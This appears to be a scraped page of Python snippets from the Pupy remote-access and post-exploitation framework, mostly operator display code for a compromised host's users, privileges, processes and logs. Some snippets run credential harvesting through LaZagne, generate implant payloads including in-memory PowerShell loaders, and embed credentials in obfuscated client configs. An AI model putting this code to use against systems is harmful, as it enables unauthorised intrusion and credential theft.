예제 #1
0
    def run(self, args):
        if args.privileges:
            enable_privilege = self.client.remote('pupwinutils.security',
                                                  'EnablePrivilege', False)
            for privilege in args.privileges:
                try:
                    enable_privilege(privilege)
                    self.success('{} enabled'.format(privilege))
                except Exception as e:
                    self.error('{} was not enabled: {}'.format(
                        privilege, e.args[1]))
        else:
            get_currents_privs = self.client.remote('pupwinutils.security',
                                                    'get_currents_privs',
                                                    False)
            privs = get_currents_privs()

            content = []

            for (privilege, enabled) in privs:
                color = 'grey'
                if enabled:
                    color = 'green'

                content.append({
                    'Privilege': Color(privilege, color),
                    'Enabled': Color(enabled, color)
                })

            self.log(
                Table(content, ['Privilege', 'Enabled'],
                      caption='Current priviliges'))
예제 #2
0
파일: logs.py 프로젝트: trickster07/11111
        def make_fields(item):
            items = []
            if args.time:
                date = datetime.utcfromtimestamp(item['date'])
                date_str = ''
                if date.date() == today:
                    date_str = date.strftime('%H:%M:%S')
                elif date.date().year == today.year:
                    date_str = date.strftime('%d/%m %H:%M:%S')
                else:
                    date_str = date.strftime('%Y/%d/%m %H:%M:%S')

                items.append(Color(date_str, 'lightgrey'))

            msg = item['msg']

            if not args.width:
                msg = ' '.join([x.strip() for x in msg.split('\n')])

            if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'):
                msg = Color(msg, 'lightred')
            elif item.get('type') == 'WARNING':
                msg = Color(msg, 'lightyellow')
            elif item.get('type') == 'DEBUG':
                msg = Color(msg, 'grey')

            items.append(msg)
            return Line(*items)
예제 #3
0
파일: logging.py 프로젝트: txtaly/pupy
def do(server, handler, config, args):
    logger = logging.getLogger(args.logger)
    if args.set_level or args.level:
        level = args.set_level or args.level
        logger.setLevel(level.upper())
        handler.display(Success('Log level: {}: {}'.format(logger.name, level)))
    elif args.get_level:
        handler.display(Success('Log level: {}'.format(
            levelToString(logger.getEffectiveLevel()))))
    else:
        objects = []
        for name, logger in logging.Logger.manager.loggerDict.iteritems():
            if not hasattr(logger, 'getEffectiveLevel'):
                continue

            level = logger.getEffectiveLevel()
            color = levelToColor(level)

            objects.append({
                'LOGGER': Color(name, color),
                'LEVEL': Color(levelToString(level), color)
            })

        objects = sorted(objects, key=lambda x: x['LOGGER'].data)

        handler.display(Table(objects, ['LOGGER', 'LEVEL']))
예제 #4
0
    def hosts(self, args):
        get_hosts = self.client.remote('ssh', 'ssh_hosts')
        records = get_hosts()

        if args.host:
            for user, hosts in records.iteritems():
                for alias, host in hosts.iteritems():
                    if args.host == alias or args.host == host.get('hostname'):
                        self.log(
                            Table(
                                [{
                                    'KEY': k,
                                    'VALUE':
                                    ','.join(v) if type(v) == list else v
                                } for k, v in host.iteritems()],
                                ['KEY', 'VALUE'],
                                Color('{}, user={}'.format(alias, user),
                                      'yellow')))

        else:
            for user, hosts in records.iteritems():
                self.log(
                    Table(
                        [{
                            'ALIAS': alias,
                            'USER': hosts[alias].get('user', user),
                            'HOST': hosts[alias]['hostname'],
                            'PORT': hosts[alias].get('port', 22),
                            'KEY': ','.join(hosts[alias].get(
                                'identityfile', []))
                        } for alias in hosts
                         if 'hostname' in hosts[alias] and not alias == '*'],
                        ['ALIAS', 'USER', 'HOST', 'PORT', 'KEY'],
                        Color('User: {}'.format(user), 'yellow')))
예제 #5
0
    def run(self, args):
        users = self.client.remote('pupyutils.users', 'users')
        users_list = users()

        objects = []

        for user in users_list['users']:
            if user['admin']:
                color = 'lightred'
            elif 'Administrators' in user['groups'] or 'sudo' in user['groups']:
                color = 'lightyellow'
            else:
                color = 'white'

            objects.append({
                'C':
                u'➤' if users_list['current'] == user['name'] else '',
                'NAME':
                Color(user['name'], color),
                'GROUPS':
                Color(','.join(user['groups']), color),
                'HOME':
                Color(user['home'], color)
            })

        headers = ['C', 'NAME', 'HOME']
        if args.groups:
            headers.insert(2, 'GROUPS')

        self.log(Table(objects, headers))
예제 #6
0
def do(server, handler, config, args):
    if args.add:
        name, args = args.add[0], args.add[1:]
        server.add_listener(name, ' '.join(args), motd=False)
    elif args.add_no_pproxy:
        name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:]
        server.add_listener(name,
                            ' '.join(args),
                            motd=False,
                            ignore_pproxy=True)
    elif args.remove:
        server.remove_listener(args.remove)

    elif args.list_transports:

        table = []

        for name, transport in transports.iteritems():
            color = None
            listener = None
            info = transport.info

            if name in server.listeners:
                color = 'lightgreen'
                listener = Color(str(server.listeners[name]), color)
                name = Color(name, color)
                info = Color(info, color)

            table.append({'NAME': name, 'INFO': info, 'ACTIVE': listener})

        handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE']))

    else:
        for listener in server.listeners.itervalues():
            handler.display(Success(listener))
예제 #7
0
    def run(self, args):
        try:
            interfaces = self.client.remote('pupyps', 'interfaces')
            families = {
                int(k):v for k,v in self.client.remote_const(
                    'pupyps', 'families'
                ).iteritems()
            }

            data = interfaces()
            families = {
                int(x):y for x,y in families.iteritems()
            }

            objects = []

            for addr, addresses in data['addrs'].iteritems():

                if args.iface and addr not in args.iface:
                    continue

                color = ""
                if 'stats' in data and data['stats']:
                    if addr in data['stats'] and not data['stats'][addr].get('isup'):
                        color = 'darkgrey'
                    elif not any([families[x.get('family')] == 'INET' for x in addresses]):
                        color = 'grey'
                else:
                    color = 'white'

                record = {}
                record['K'] = Color(addr, color or 'cyan')

                first = True

                for address in addresses:
                    if first:
                        first = False
                    else:
                        record = {}
                        record['K'] = ''

                    record['F'] = Color(families[address.get('family')], color)
                    V = Color(address.get('address', '').split('%')[0], color or 'yellow')

                    if address.get('netmask') != 'None':
                        V = Line(V, Color(address.get('netmask'), color))
                        V.dm = '/'

                    if address.get('broadcast') != 'None':
                        V = Line(V, Color('brd '+address.get('broadcast'), color))

                    record['V'] = Line(V)

                    objects.append(record)

            self.log(Table(objects, ['K', 'F', 'V'], legend=False))

        except Exception, e:
            logging.exception(e)
예제 #8
0
def pupygen(args, config, pupsrv, display):
    scriptlets = load_scriptlets(args.os, args.arch)

    if args.list:
        display(MultiPart([
            Table([{
                'FORMAT': f, 'DESCRIPTION': d
            } for f,d in {
                'client': 'generate client binary (linux/windows/apk/..)',
                'py': 'fully packaged python file',
                'py_oneliner': 'same as \'py\' format but served over http',
                'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process',
                'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell',
                'csharp': 'generate C# source (.cs) that executes pupy',
                '.NET': 'compile a C# payload into a windows executable.',
                '.NET_oneliner': 'Loads .NET assembly from memory via powershell'
            }.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')),

            Table([{
                'TRANSPORT': name, 'DESCRIPTION': t.info
            } for name, t in transports.iteritems()],
            ['TRANSPORT', 'DESCRIPTION'], Color('Available transports (usage: -t <transport>)', 'yellow')),

            Table([{
                'SCRIPTLET': name, 'DESCRIPTION': sc.description, 'ARGS': '; '.join(
                    '{}={}'.format(k,v) for k,v in sc.arguments.iteritems()
                )
            } for name, sc in scriptlets.iteritems()],
            ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color(
                'Available scriptlets for {}/{} '
                '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format(
                    args.os or 'any', args.arch or 'any'), 'yellow'))
        ]))

        raise NoOutput()

    if args.workdir:
        os.chdir(args.workdir)

    script_code=""

    try:
        if args.scriptlet:
            script_code = pack_scriptlets(
                display,
                scriptlets,
                args.scriptlet,
                os=args.os,
                arch=args.arch,
                debug=args.debug_scriptlets)

    except ValueError, e:
        display(Error(e.message))
        raise NoOutput()
예제 #9
0
    def _format_multi(self, results, wide=False, remove=None):
        keys = []
        values = []

        legend = ['NAME', 'TYPE', 'VALUE']
        if not remove:
            legend.insert(0, 'KEY')

        for record in results:
            is_key, key, rest = record[0], record[1], record[2:]

            if remove and key.startswith(remove):
                key = key[len(remove) + 1:]

            if is_key:
                keys.append(key)
                continue

            name, value, ktype = rest

            ktype = TYPES[ktype]
            color = TYPE_COLORS[ktype]

            if not wide and type(value) in (str, unicode):
                value = value.strip()

            values.append({
                'KEY':
                Color(key, color),
                'NAME':
                Color(name, color),
                'VALUE':
                Color(value if ktype != 'BINARY' else repr(value), color),
                'TYPE':
                Color(ktype, color)
            })

        results = []

        if keys:
            results.append(List(keys, caption='{ Keys }'))

        if values:
            results.append(Table(values, legend, caption='Values'))

        if not keys and not values:
            self.log('Empty')
        else:
            results = MultiPart(results)
            if not wide:
                results = TruncateToTerm(results)
            self.log(results)
예제 #10
0
    def run(self, args):
        users = self.client.remote('pupyutils.users', 'users')
        users_list = users()

        for user in users_list['users']:
            if user['admin']:
                color = 'lightred'
            elif 'Administrators' in user['groups'] or 'sudo' in user['groups']:
                color = 'lightyellow'
            else:
                color = 'white'

            if type(user['name']) == unicode:
                name = user['name']
            else:
                name = user['name'].decode('utf-8')

            output = name

            if args.groups:
                output += u': ' + u','.join(user['groups'])

            if users_list['current'] == user['name']:
                output = u'➤ ' + output
            else:
                output = u'  ' + output

            self.log(Color(output, color))
예제 #11
0
def gen_output_line(columns, info, record, wide=False):
    cpu = record.get('cpu_percent') or 0
    mem = record.get('memory_percent') or 0

    if record.get('self'):
        color = "green"
    elif cpu > 70 or mem > 50:
        color = "red"
    elif record.get('username') in ADMINS:
        if record.get('connections'):
            color = "magenta"
        else:
            color = "yellow"
    elif record.get('connections'):
        color = "cyan"
    elif not record.get('same_user'):
        color = "grey"
    else:
        color = None

    template = u' '.join(u'{{{}}}'.format(x) for x in info)
    columns = {k: to_string(v) for k, v in columns.iteritems()}
    output = template.format(**columns)

    if color:
        output = Color(output, color)

    if not wide:
        output = TruncateToTerm(output)

    return output
예제 #12
0
    def run(self, args):
        is_linux = False

        if self.client.is_linux():
            get_services = self.client.remote('services',
                                              'get_services_systemd')
            is_linux = True
        elif self.client.is_windows():
            get_services = self.client.remote('pupyps', 'get_win_services')
        else:
            raise ValueError('Unsupported target')

        services = get_services()

        columns = [('pid', 'PID'), ('name', 'SERVICE'), ('binpath', 'PATH')]
        if args.info:
            columns = [('pid', 'PID'), ('name', 'SERVICE'),
                       ('username', 'USER'), ('binpath', 'PATH')]

        if args.display_name:
            columns = [
                x if x[0] != 'name' else ('display_name', 'SERVICE')
                for x in columns
            ]

        data = []

        for service in services:

            username = service.get('username')
            status = service.get('status')
            binpath = service.get('binpath')

            color = None
            if not status == 'running':
                if not args.all:
                    continue

                color = 'grey'
            elif all([x not in binpath
                      for x in LIKELY_KNOWN]) and not is_linux:
                color = 'cyan'
                if username.upper() in ADMINS:
                    color = 'lightyellow'

            if color is not None:
                service = {
                    k: Color(v if v is not None else '', color)
                    for k, v in service.iteritems()
                }

            data.append(service)

        self.log(TruncateToTerm(Table(data, columns)))
예제 #13
0
파일: tasks.py 프로젝트: txtaly/pupy
    def run(self, args):
        pupy = self.client.remote('pupy')
        active = obtain(pupy.manager.status)
        data = []
        for task, state in active.iteritems():
            color = 'grey'
            if state['active']:
                color = 'lightgreen'
            elif state['results']:
                color = 'cyan'

            data.append({
                'TASK':
                Color(task, color),
                'ACTIVE':
                Color('Y' if state['active'] else 'N', color),
                'RESULTS':
                Color('Y' if state['results'] else 'N', color),
            })

        self.log(Table(data, ['TASK', 'ACTIVE', 'RESULTS']))
예제 #14
0
파일: logs.py 프로젝트: yalpdevx/pupy
    def run(self, args):
        get_last_events = self.client.remote('readlogs', 'get_last_events')
        today = datetime.now().date()

        def make_fields(item):
            items = []
            if args.time:
                date = datetime.fromtimestamp(item['date'])
                date_str = ''
                if date.date() == today:
                    date_str = Color(date.strftime('%H:%M:%S'), 'cyan')
                elif date.date().year == today.year:
                    date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey')
                else:
                    date_str = Color(date.strftime('%Y/%d/%m %H:%M:%S'),
                                     'lightgrey')

                items.append(date_str)

            if 'EventID' in item:
                items.append(Color(item['EventID'], 'green'))

            msg = item['msg']

            if not args.width:
                msg = ' '.join([x.strip() for x in msg.split('\n')])

            if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'):
                msg = Color(msg, 'lightred')
            elif item.get('type') == 'WARNING':
                msg = Color(msg, 'lightyellow')
            elif item.get('type') == 'DEBUG':
                msg = Color(msg, 'grey')

            items.append(msg)
            return Line(*items)

        for category, events in get_last_events(args.number, args.include,
                                                args.exclude, args.event_id,
                                                args.source).iteritems():
            if not events:
                continue

            data = List([make_fields(x) for x in events],
                        indent=0,
                        bullet='+' if args.include or args.exclude else '',
                        caption=Color('> ' + category, 'yellow'))

            if not args.width:
                data = TruncateToTerm(data)

            self.log(data)
예제 #15
0
파일: w.py 프로젝트: kefkahacks/pupy
    def run(self, args):
        try:
            users = self.client.remote('pupyps', 'users')

            data = users()
            tablein = []

            for user, hosts in reversed(sorted(data.iteritems())):
                for host, sessions in hosts.iteritems():
                    for session in sessions:
                        color = ""

                        if 'idle' in session:
                            idle = session['idle']
                            color = "cyan" if idle < 10 * 60 else (
                                "grey" if idle > 60 * 60 * 24 else "")

                        object = {
                            'HOST':
                            Color(host, color),
                            'USER':
                            Color(
                                user, "yellow" if user in ADMINS else
                                ("green" if session.get('me') else color)),
                            'LOGIN':
                            Color(
                                str(
                                    datetime.fromtimestamp(
                                        int(session['started']))), color),
                        }

                        if session.get('terminal'):
                            if session.get('name'):
                                what = '{} {}'.format(
                                    session['exe'] if session.get('exe') else
                                    ('{' + session.get('name') + '}'),
                                    ' '.join(session['cmdline'][1:] if session.
                                             get('cmdline') else ''))
                            else:
                                what = ''

                            object.update({
                                'IDLE':
                                Color(str(timedelta(seconds=session['idle'])),
                                      color) if session.get('idle') else '',
                                'PID':
                                Color(str(session.get('pid', '')), color),
                                'WHAT':
                                Color(
                                    what[:30] +
                                    '…' if len(what) > 30 else what, color)
                            })

                        tablein.append(object)

            self.table(tablein)

        except Exception, e:
            logging.exception(e)
예제 #16
0
def do(server, handler, config, modargs):
    pj = None
    args = modargs.arguments
    clients_filter = modargs.filter or handler.default_filter

    try:
        module = server.get_module(
            server.get_module_name_from_category(modargs.module))

    except PupyModuleUsageError, e:
        prog, message, usage = e.args
        handler.display(Line(Error(prog+':'), Color(message, 'lightred')))
        handler.display(usage)
예제 #17
0
    def _run(self, args):
        db = Credentials(client=self.client, config=self.config)

        whole = self.client.remote('whole', 'to_strings_list', False)
        runLaZagne = self.client.remote('lazagne.config.run', 'run_lazagne',
                                        False)

        first_user = True
        passwordsFound = False

        kwargs = {
            'raise_on_exception': False,
        }

        if args.category:
            kwargs['category_selected'] = args.category

        if args.password and self.client.is_windows():
            kwargs['password'] = args.password

        results = obtain(whole(runLaZagne, **kwargs))
        for r in results:
            if r[0] == 'User':
                if not passwordsFound and not first_user:
                    self.warning('no passwords found !')

                first_user = False
                passwordsFound = False
                user = r[1]
                if type(user) == str:
                    user = user.decode('utf-8', errors='replace')

                self.log(
                    Color(u'\n########## User: {} ##########'.format(user),
                          'yellow'))

            elif r[2]:
                passwordsFound = True
                try:
                    self.print_results(r[0], r[1], r[2], db)
                except Exception as e:
                    self.error('{}: {}: {}'.format(r[1], e,
                                                   traceback.format_exc()))

        if not passwordsFound:
            self.warning('no passwords found !')
예제 #18
0
def output_format(file, windows=False, archive=None):
    if file[T_TYPE] == 'X':
        return '--- TRUNCATED ---'

    name = to_utf8(file[T_NAME])

    if archive:
        name += u' \u25bb ' + archive

    if windows:
        out = u'  {}{}{}{}'.format(
            u'{:<10}'.format(file_timestamp(file[T_TIMESTAMP])),
            u'{:<3}'.format(file[T_TYPE]),
            u'{:<11}'.format(size_human_readable(file[T_SIZE])),
            u'{:<40}'.format(name))
    else:
        out = u'  {}{}{}{}{}{}{}'.format(
            u'{:<10}'.format(file_timestamp(file[T_TIMESTAMP])),
            u'{:<3}'.format(file[T_TYPE]),
            u'{:<5}'.format(file[T_UID]),
            u'{:<5}'.format(file[T_GID]),
            u' {:06o} '.format(file[T_MODE]),
            u'{:<11}'.format(size_human_readable(file[T_SIZE])),
            u'{:<40}'.format(name))

    if archive:
        out=Color(out, 'yellow')
    elif file[T_TYPE] == 'D':
        out=Color(out, 'lightyellow')
    elif 'U' in file[T_SPEC]:
        out=Color(out, 'lightred')
    elif 'G' in file[T_SPEC]:
        out=Color(out, 'red')
    elif file[T_TYPE] == 'B':
        out=Color(out, 'grey')
    elif file[T_TYPE] == 'C':
        out=Color(out, 'grey')
    elif file[T_TYPE] == 'F':
        out=Color(out, 'cyan')
    elif file[T_TYPE] == 'S':
        out=Color(out, 'magenta')
    elif file[T_TYPE] == 'L':
        out=Color(out, 'grey')
    elif not file[T_SIZE]:
        out=Color(out, 'darkgrey')
    elif 'E' in file[T_SPEC]:
        out=Color(out, 'lightgreen')
    elif 'W' in file[T_SPEC] and not windows:
        out=Color(out, 'blue')

    return out
예제 #19
0
def generate_binary_from_template(display, config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None, compressed=True):
    TEMPLATE_FMT = fmt or 'pupy{arch}{debug}{unk}.{ext}'
    ARCH_CONVERT = {
        'amd64': 'x64', 'x86_64': 'x64',
        'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86',
    }

    TO_PLATFORM = {
        'x64': 'intel',
        'x86': 'intel'
    }

    TO_ARCH = {
        'intel': {
            '32bit': 'x86',
            '64bit': 'x64'
        }
    }

    arch = arch.lower()
    arch = ARCH_CONVERT.get(arch, arch)
    if bits:
        arch = TO_ARCH[TO_PLATFORM[arch]]

    CLIENTS = {
        'android': (get_edit_apk, 'pupy.apk', False),
        'linux': (get_edit_binary, TEMPLATE_FMT, True),
        'solaris': (get_edit_binary, TEMPLATE_FMT, True),
        'windows': (get_edit_binary, TEMPLATE_FMT, False),
    }

    SUFFIXES = {
        'windows': ('exe', 'dll'),
        'linux':   ('lin', 'lin.so'),
        'solaris': ('sun', 'sun.so'),
    }

    osname = osname.lower()

    if osname not in CLIENTS.keys():
        raise ValueError('Unknown OS ({}), known = '.format(
            osname, ', '.join(CLIENTS.keys())))

    generator, template, makex = CLIENTS[osname]

    if '{arch}' in template and not arch:
        raise ValueError('arch required for the target OS ({})'.format(osname))

    shared_ext = 'xxx'
    non_shared_ext = 'xxx'

    if osname in SUFFIXES:
        non_shared_ext, shared_ext = SUFFIXES[osname]

    debug_fmt = 'd' if debug else ''

    if shared:
        makex = False
        ext = shared_ext
    else:
        ext = non_shared_ext

    filename = template.format(arch=arch, debug=debug_fmt, ext=ext, unk='.unc' if not compressed else '')
    template = os.path.join(
        'payload_templates', filename
    )

    if not os.path.isfile(template):
        template = os.path.join(
            ROOT, 'payload_templates', filename
        )

    if not os.path.isfile(template):
        raise ValueError('Template not found ({})'.format(template))


    config_table = [{
        'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
    } for k,v in config.iteritems() if v]

    display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    return generator(display, template, config, compressed, debug), filename, makex
예제 #20
0
            caption = category

            if all(not x['resource'] for x in info['creds']):
                del columns[columns.index('resource')]

            cids = set(x['cid'] for x in info['creds'])
            if len(cids) == 1:
                del columns[columns.index('cid')]
                caption += ' (cid={})'.format(list(cids)[0])

            if credtype in ('plaintext', 'hash') or all(
                len(x['secret']) <= 64 for x in info['creds']):

                handler.display(TruncateToTerm(
                    Table(info['creds'], columns,
                          caption=Color(caption, 'yellow'))))
            else:
                caption = Line('{', Color(caption, 'yellow'), '}')
                handler.display(caption)
                parts = []
                for cred in info['creds']:
                    line = []
                    for column in columns:
                        if column == 'secret' or not cred[column]:
                            continue

                        line.append(Color(column+':', 'yellow'))
                        line.append(Color(cred[column], 'lightyellow'))

                    line.append(NewLine())
                    line.append(cred['secret'])
예제 #21
0
파일: help.py 프로젝트: txtaly/pupy
def do(server, handler, config, args):

    tables = []

    if args.module:
        if handler.commands.has(args.module):
            command = handler.commands.get(args.module)
            tables.append(
                Line(Color('Command:', 'yellow'),
                     Color(args.module + ':', 'green'), command.usage
                     or 'No description'))
            if command.parser.add_help:
                tables.append(command.parser.format_help())
            else:
                tables.append(command.parser.parse_args(['--help']))

        for module in server.iter_modules():
            if module.get_name().lower() == args.module.lower():
                if module.__doc__:
                    doc = module.__doc__.strip()
                else:
                    doc = ''

                tables.append(
                    Line(Color('Module:', 'yellow'),
                         Color(args.module + ':', 'green'),
                         doc.title().split('\n')[0]))

                if command.parser.add_help:
                    tables.append(command.parser.format_help())
                else:
                    tables.append(command.parser.parse_args(['--help']))

                clients = server.get_clients(handler.default_filter)
                if clients:
                    ctable = []
                    for client in clients:
                        compatible = module.is_compatible_with(client)
                        ctable.append({
                            'OK':
                            Color('Y' if compatible else 'N',
                                  'green' if compatible else 'grey'),
                            'CLIENT':
                            Color(str(client),
                                  'green' if compatible else 'grey')
                        })

                    tables.append(
                        Table(ctable, ['OK', 'CLIENT'],
                              Color('Compatibility', 'yellow'), False))

        for command, alias in config.items("aliases"):
            if command == args.module:
                tables.append(
                    Line(Color('Alias:', 'yellow'),
                         Color(args.module + ':', 'green'), alias))

    else:
        commands = []
        for command, description in handler.commands.list():
            commands.append({'COMMAND': command, 'DESCRIPTION': description})

        tables.append(
            Table(commands, ['COMMAND', 'DESCRIPTION'],
                  Color('COMMANDS', 'yellow')))

        if args.modules:
            modules = sorted(list(server.iter_modules()),
                             key=(lambda x: x.category))
            table = []

            for mod in modules:
                compatible = all(
                    mod.is_compatible_with(client)
                    for client in server.get_clients(handler.default_filter))

                compatible_some = any(
                    mod.is_compatible_with(client)
                    for client in server.get_clients(handler.default_filter))

                if mod.__doc__:
                    doc = mod.__doc__.strip()
                else:
                    doc = ''

                category = mod.category
                name = mod.get_name()
                brief = doc.title().split('\n')[0]

                if compatible:
                    pass
                elif compatible_some:
                    category = Color(category, 'grey')
                    name = Color(name, 'grey')
                    brief = Color(brief, 'grey')
                else:
                    category = Color(category, 'darkgrey')
                    name = Color(name, 'darkgrey')
                    brief = Color(brief, 'darkgrey')

                table.append({
                    'CATEGORY': category,
                    'NAME': name,
                    'HELP': brief
                })

            tables.append(
                TruncateToTerm(
                    Table(table, ['CATEGORY', 'NAME', 'HELP'],
                          Color('MODULES', 'yellow'))))

        else:
            aliased = []
            for module, description in server.get_aliased_modules():
                aliased.append({'MODULE': module, 'DESCRIPTION': description})

            if aliased:
                tables.append(
                    Table(aliased, ['MODULE', 'DESCRIPTION'],
                          Color('ALIASED MODULES', 'yellow')))

        aliases = []
        for command, alias in config.items("aliases"):
            aliases.append({'ALIAS': command, 'COMMAND': alias})

        if aliases:
            tables.append(
                Table(aliases, ['ALIAS', 'COMMAND'],
                      Color('ALIASES', 'yellow')))

        if not args.modules:
            tables.append(
                Line('Use', Color('help -M', 'green'),
                     'command to show all available modules'))

    handler.display(MultiPart(tables))
예제 #22
0
def do(server, handler, config, modargs):
    if modargs.global_reset:
        handler.default_filter = None
        handler.display(Success('Default filter reset to global'))

    elif modargs.interact:
        handler.default_filter = modargs.interact
        handler.display(Success('Default filter set to {}'.format(
            handler.default_filter)))

    elif modargs.kill:
        selected_client = server.get_clients(modargs.kill)
        if selected_client:
            try:
                selected_client[0].conn.exit()
            except Exception:
                pass

    elif modargs.drop:
        selected_client = server.get_clients(modargs.drop)
        if selected_client:
            try:
                selected_client[0].conn._conn.close()
            except Exception:
                pass

    elif modargs.dropall:
        clients = list(server.get_clients_list())
        for client in clients:
            try:
                client.conn._conn.close()
            except Exception:
                pass

    elif modargs.killall:
        clients = server.get_clients_list()
        descriptions = [
            x.desc for x in client_lis
        ]

        for description in descriptions:
            try:
                server.get_clients(description['id'])[0].conn.exit()
            except Exception:
                pass
    else:
        client_list = server.get_clients_list()

        if handler.default_filter:
            filtered_clients = server.get_clients(handler.default_filter)
        else:
            filtered_clients = client_list

        columns = [
            'id', 'user', 'hostname', 'platform', 'release', 'os_arch',
            'proc_arch', 'intgty_lvl', 'address', 'tags'
        ]

        content = []

        for client in client_list:
            color = 'white' if client in filtered_clients else 'darkgrey'

            data = {
                k:Color(v, color)
                for k,v in client.desc.iteritems() if k in columns
            }

            data.update({
                'tags': Color(config.tags(client.node()), color)
            })

            content.append(data)

        handler.display(Table(content, columns))
예제 #23
0
def get_raw_conf(display, conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if "offline_script" not in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available, bullet=Color('+', 'green'),
        caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available, bullet=Color('-', 'red'),
            caption=Error('Required credentials (not found)')))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
        } for k,v in conf.iteritems() if v]

        display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye':
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf", "")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'DELAYS={}'.format(repr(conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""')
    ])

    return compress_encode_obfs(config) if obfuscate else config
예제 #24
0
def print_psinfo(fout,
                 families,
                 socktypes,
                 data,
                 colinfo,
                 sections=[],
                 wide=False):
    keys = ('id', 'key', 'PROPERTY', 'VAR', 'TYPE')
    sorter = lambda x, y: -1 if (x in keys and y not in keys) else (1 if (
        y in keys and not x in keys) else cmp(x, y))

    parts = []

    for pid, info in data.iteritems():
        if sections is not None:
            infosecs = {'general': []}
            for prop, value in info.iteritems():
                if type(value) not in (list, dict):
                    infosecs['general'].append({
                        'PROPERTY':
                        prop,
                        'VALUE':
                        '{:3}%'.format(int(value)) if
                        ('_percent' in prop) else value
                    })
                else:
                    if prop == 'environ':
                        maxvar = max(len(x) for x in value.iterkeys())
                        maxval = max(len(x) for x in value.itervalues())
                        infosecs[prop] = [{
                            'VAR': x,
                            'VALUE': y
                        } for x, y in value.iteritems()]
                        continue
                    elif prop == 'connections':
                        newvalue = []
                        for connection in value:
                            newvalue.append({
                                'status':
                                connection['status'],
                                'raddr':
                                ':'.join([str(x)
                                          for x in connection['raddr']]),
                                'laddr':
                                ':'.join([str(x)
                                          for x in connection['laddr']]),
                                'family':
                                families[connection['family']],
                                'type':
                                socktypes[connection['type']],
                            })

                        infosecs[prop] = newvalue
                        continue
                    elif prop == 'memory_maps':
                        filtered = ('path', 'rss', 'size')
                    elif prop == 'memory_info':
                        infosecs[prop] = [{
                            'TYPE':
                            item['KEY'],
                            'SIZE':
                            size_human_readable(item['VALUE'])
                        } for item in value]
                        continue
                    else:
                        filtered = None

                    infosecs[prop] = [{
                        k: v
                        for k, v in item.iteritems()
                        if filtered is None or k in filtered
                    } for item in (value if type(value) == list else [value])]

            if sections:
                for section in sections:
                    section = section.lower()
                    if section in infosecs:
                        labels = sorted(infosecs[section][0], cmp=sorter)
                        parts.append(
                            TruncateToTerm(
                                Table(infosecs[section], labels,
                                      Color(section.upper(), 'yellow'))))

            else:
                for section, table in infosecs.iteritems():
                    labels = sorted(table[0], cmp=sorter)
                    parts.append(
                        TruncateToTerm(
                            Table(table, labels,
                                  Color(section.upper(), 'yellow'))))

            fout(MultiPart(parts))

        else:
            outcols = ['pid'] + [
                x for x in ('cpu_percent', 'memory_percent', 'username', 'exe',
                            'name', 'cmdline') if x in colinfo
            ]
            info['pid'] = pid
            columns = gen_columns(info, colinfo)

            fout(gen_output_line(columns, outcols, info, wide) + '\n')
예제 #25
0
 def print_module_title(self, module):
     self.log(
         Color(
             u'\n------------------- {} -------------------'.format(module),
             'yellow'))
     self.log(NewLine())
예제 #26
0
    elif args.command == 'extra':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Error('No sessions found'))
            return
        elif len(sessions) > 1:
            handler.display(Error('Selected more than one sessions'))
            return

        session = sessions[0]

        if session.online_status:
            handler.display('\nONLINE STATUS\n')
            objects = [{
                'KEY':
                Color(k.upper().replace('-', ' '),
                      'green' if session.online_status[k] else 'lightyellow'),
                'VALUE':
                Color(
                    str(session.online_status[k]).upper(),
                    'green' if session.online_status[k] else 'lightyellow')
            } for k in [
                'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http',
                'https', 'https-no-cert', 'https-mitm', 'proxy',
